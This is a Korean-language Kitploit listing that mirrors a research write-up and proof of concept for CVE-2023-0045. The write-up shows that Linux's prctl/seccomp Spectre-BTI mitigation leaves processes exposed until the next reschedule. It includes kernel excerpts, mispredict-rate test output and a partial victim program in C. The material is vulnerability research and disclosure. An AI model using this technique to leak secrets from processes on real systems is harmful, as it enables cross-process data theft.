Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-0045 — CVE-2023-0045에 대한 PoC 및 분석: BTB 포이즈닝과 Flush+Reload를 사용하여 Linux prctl/seccomp Spectre-BTI 완화를 우회하고 프로세스 비밀을 유출합니다. | Kitploit
도구/GitHubGitHub/askyeye/cve-2023-0045
Vulnerability AnalysisExploitationHardware SecurityPapers & ResearchLearning & EducationBinary Exploitation
GitHubaskyeye/cve-2023-0045

CVE-2023-0045

CVE-2023-0045에 대한 PoC 및 분석: BTB 포이즈닝과 Flush+Reload를 사용하여 Linux prctl/seccomp Spectre-BTI 완화를 우회하고 프로세스 비밀을 유출합니다.

저장소 보기
34103년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Linux에서 Spectre-BTI 사용자 공간 완화 우회하기

이 문서는 작업 중인 문서입니다. 잘못된 점이 있거나 인용을 놓친 경우 피드백을 보내주세요.

버전 1.0

José Oliveira (esoj)

Rodrigo Branco (BSDaemon)

소개

Spectre-BTI 공격의 성공률을 테스트하던 중, 커널 API를 완화 조치로 사용할 때 이상한 패턴을 발견했습니다[^1]. 테스트 결과, 리눅스 커널이 공격을 제대로 완화하지 못하여 시스템 콜 후 짧은 시간 동안 프로세스가 노출되는 것으로 나타났습니다.

추가 조사 결과, 커널이 시스템 콜 중에 IBPB를 즉시 발행하지 않는 것으로 나타났습니다. ib_prctl_set[^2] 함수는 작업의 TIF(Thread Information Flags)를 업데이트하고 __speculation_ctrl_update[^3] 함수에서 SPEC_CTRL MSR을 업데이트하지만, IBPB는 TIF 비트가 확인되는 다음 스케줄 시에만 발행됩니다. 이로 인해 피해자는 prctl 시스템 콜 이전에 이미 BTB에 주입된 값에 취약해집니다. 이 동작은 작업의 재스케줄이 발생한 후에야 수정됩니다. 게다가 (시스템 콜 자체로 인한) 커널 진입은 기본 시나리오(즉, 커널이 retpoline 또는 eIBRS를 통해 자체 보호하는 경우)에서 IBPB를 발행하지 않습니다.

prctl 완화

다음을 사용하여 spectre-BTI 공격을 완화하기 위해 prctl을 실행하면: prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); 커널 5.15에서 ib_prctl_set[^2] 함수로 이어집니다. SPEC_DISABLE 옵션이 사용되면 task_set_spec_ib_disable에 대한 TIF 비트가 설정되고 task_update_spec_tif가 호출됩니다:

static int ib_prctl_set(struct task_struct *task, unsigned long ctrl)
[...]
case PR_SPEC_FORCE_DISABLE:
    /*
     * Indirect branch speculation is always allowed when
     * mitigation is force disabled.
     */
    if (spectre_v2_user_ibpb == SPECTRE_V2_USER_NONE &&
        spectre_v2_user_stibp == SPECTRE_V2_USER_NONE)
        return -EPERM;

    if (!is_spec_ib_user_controlled())
        return 0;

    task_set_spec_ib_disable(task);
    if (ctrl == PR_SPEC_FORCE_DISABLE)
        task_set_spec_ib_force_disable(task);
    task_update_spec_tif(task);
    break;

task_set_spec_ib_disable은 set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);를 호출하고, 대상 작업이 현재 작업이면 speculation_ctrl_update_current();를 호출합니다.

static void task_update_spec_tif(struct task_struct *tsk)
{
	/* Force the update of the real TIF bits */
	set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);

	/*
	 * Immediately update the speculation control MSRs for the current
	 * task, but for a non-current task delay setting the CPU
	 * mitigation until it is scheduled next.
	 *
	 * This can only happen for SECCOMP mitigation. For PRCTL it's
	 * always the current task.
	 */
	if (tsk == current)
		speculation_ctrl_update_current();
}

speculation_ctrl_update 래퍼 이후의 speculation_ctrl_update_current는 tifp = ~tifp로 __speculation_ctrl_update를 실행합니다. 여기서 STIBP 설정을 위한 wrmsr 업데이트가 실행되지만 IBPB는 발행되지 않습니다:

static __always_inline void __speculation_ctrl_update(unsigned long tifp,
						      unsigned long tifn)
{
	unsigned long tif_diff = tifp ^ tifn;
	u64 msr = x86_spec_ctrl_base;
	bool updmsr = false;

	lockdep_assert_irqs_disabled();

	/* Handle change of TIF_SSBD depending on the mitigation method. */
	if (static_cpu_has(X86_FEATURE_VIRT_SSBD)) {
		if (tif_diff & _TIF_SSBD)
			amd_set_ssb_virt_state(tifn);
	} else if (static_cpu_has(X86_FEATURE_LS_CFG_SSBD)) {
		if (tif_diff & _TIF_SSBD)
			amd_set_core_ssb_state(tifn);
	} else if (static_cpu_has(X86_FEATURE_SPEC_CTRL_SSBD) ||
		   static_cpu_has(X86_FEATURE_AMD_SSBD)) {
		updmsr |= !!(tif_diff & _TIF_SSBD);
		msr |= ssbd_tif_to_spec_ctrl(tifn);
	}

	/* Only evaluate TIF_SPEC_IB if conditional STIBP is enabled. */
	if (IS_ENABLED(CONFIG_SMP) &&
	    static_branch_unlikely(&switch_to_cond_stibp)) {
		updmsr |= !!(tif_diff & _TIF_SPEC_IB);
		msr |= stibp_tif_to_spec_ctrl(tifn);
	}

	if (updmsr)
		wrmsrl(MSR_IA32_SPEC_CTRL, msr);
}

seccomp 시스템 콜도 arch_seccomp_spec_mitigate[^4] 내에서 ib_prctl_set[^2]을 완화 조치로 사용하므로, seccomp에서도 동일한 결과가 예상됩니다.

테스트

코드 분석을 통해 익스플로잇을 위한 윈도우가 존재한다는 것을 확신했지만, 피해자가 비밀을 로드하고 공격자가 이를 유출할 수 있을 만큼 충분히 큰지는 불분명했습니다(비밀은 prctl 호출이 발행될 때까지 피해자 주소 공간에 없을 것으로 예상되기 때문입니다). 테스트는 하드웨어 완화를 지원하는 베어메탈 머신에서 Ubuntu 22.04.1 LTS를 설치하여 실행했습니다:

Kernel is Linux 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
CPU is Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz
* Hardware support (CPU microcode) for mitigation techniques
  * Indirect Branch Restricted Speculation (IBRS)
    * SPEC_CTRL MSR is available:  YES
    * CPU indicates IBRS capability:  YES  (SPEC_CTRL feature bit)
  * Indirect Branch Prediction Barrier (IBPB)
    * CPU indicates IBPB capability:  YES  (SPEC_CTRL feature bit)
  * Single Thread Indirect Branch Predictors (STIBP)
    * SPEC_CTRL MSR is available:  YES
    * CPU indicates STIBP capability:  YES  (Intel STIBP feature bit)
  * Speculative Store Bypass Disable (SSBD)

테스트 코드는 동일한 논리 코어에서 실행되는 두 개의 프로세스로 구성됩니다. 공격자는 피해자 프로세스에 존재하는 spectre 가젯의 주소로 BTB를 지속적으로 오염시킵니다. 피해자 프로세스는 테스트 변수가 spectre 가젯 함수에 의해 액세스되었는지 확인하여 오예측률을 측정합니다. 일반적으로 다음과 같은 출력을 반환합니다:

esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./attacker  0x55555554123 0x55555555345 0 &
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 941/1000  
Rate: 1000/1000  
Rate: 999/1000  
Rate: 1000/1000  
Rate: 1000/1000  
Rate: 997/1000  
Rate: 994/1000  
Rate: 996/1000  
Rate: 998/1000  
Rate: 993/1000  
Total misspredict rate: 9918/10000 (99.18 %)

그런 다음 PRCTL을 사용하여 공격을 완화합니다. 완화는 프로그램 시작 부분에 prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);을 추가하여 활성화할 수 있습니다. 이는 spectre-BTI 공격을 완화할 것으로 예상됩니다:

PRCTL GET value 0x9
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Total misspredict rate: 0/10000 (0.00 %)

그러나 일부 테스트에서는 다른 결과가 나타났습니다:

Rate: 50510/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 50510/1000000 (5.05 %)

그리고 'nice' 값(우선순위)을 변경하면 오예측률에 영향을 미치는 것으로 보입니다:

esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n -19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 99994/100000
Rate: 7716/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 107710/1000000 (10.77 %)

esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n 19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 16715/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 16715/1000000 (1.67 %)

이는 prctl이 코드 분석에서 이해된 바와 같이 다음 스케줄 이후에만 프로세스를 보호했음을 나타냅니다. 이 테스트의 또 다른 이상한 동작은 잘못된 분기 이후에는 추측 경로가 수정되고 실제 값이 BTB에 기록되어야 한다는 것입니다. 형제 스레드에 BTB를 다시 오염시킬 다른 공격자가 없기 때문에 이러한 높은 오예측 값은 예상치 못한 것입니다.

개념 증명

이것이 측정 오류가 아님을 확인하기 위해 간단한 POC를 만들었습니다. 피해자 코드는 spectre-BTI 공격에 취약한 함수 포인터를 통해 항상 safe_function을 실행합니다. 피해자는 prctl 시스템 콜을 사용하여 커널에 보호를 요청합니다(protect_me 내부). 피해자는 또한 텍스트 파일에서 비밀을 로드하여 다른 시스템 콜도 TIF 비트를 확인하거나 IBPB를 강제하는 재스케줄을 유발하지 않음을 보여줍니다.

//gcc -o victim victim.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"

int main(int argc, char *argv[])
{

    setvbuf(stdout, NULL, _IONBF, 0);
    printf("running victim %s\n", argv[1]);

    //only call safe_function
    codePtr = safe_function;
    char secret[20];
    char *sharedmem = open_shared_mem();
    unsigned idx = string_to_unsigned(argv[1]);

    //call for prctl to protect this process
    protect_me();

    //only then load the secret into memory
    load_secret(secret);

    for (int i = 0; i < 100; i++)
    {
        flush((char *)&codePtr);
        //this arguments are never used on safe_function, but they match the signature of spectre_gadget, that should never be called
        //Since prctl is called, it shouldn't be possible for an attacker to poison the BTB and leak the secret
        spec(&sharedmem[2000], secret, idx);
    }
}

대부분의 libc 함수는 공격자와 피해자 간의 공통 헤더 안에 배치되어 spectre_gadget 및 spec 함수가 피해자와 공격자 모두에서 동일한 메모리 주소를 공유하도록 했습니다(그렇지 않으면 .GOT 엔트리가 생성되어 주소가 변경됩니다). 이는 필수 사항이 아니며 분기를 동일한 주소에 배치하고 피해자 컨텍스트를 모방하는 다른 방법이 있지만, 이 방법이 더 간단합니다.

도구 다운로드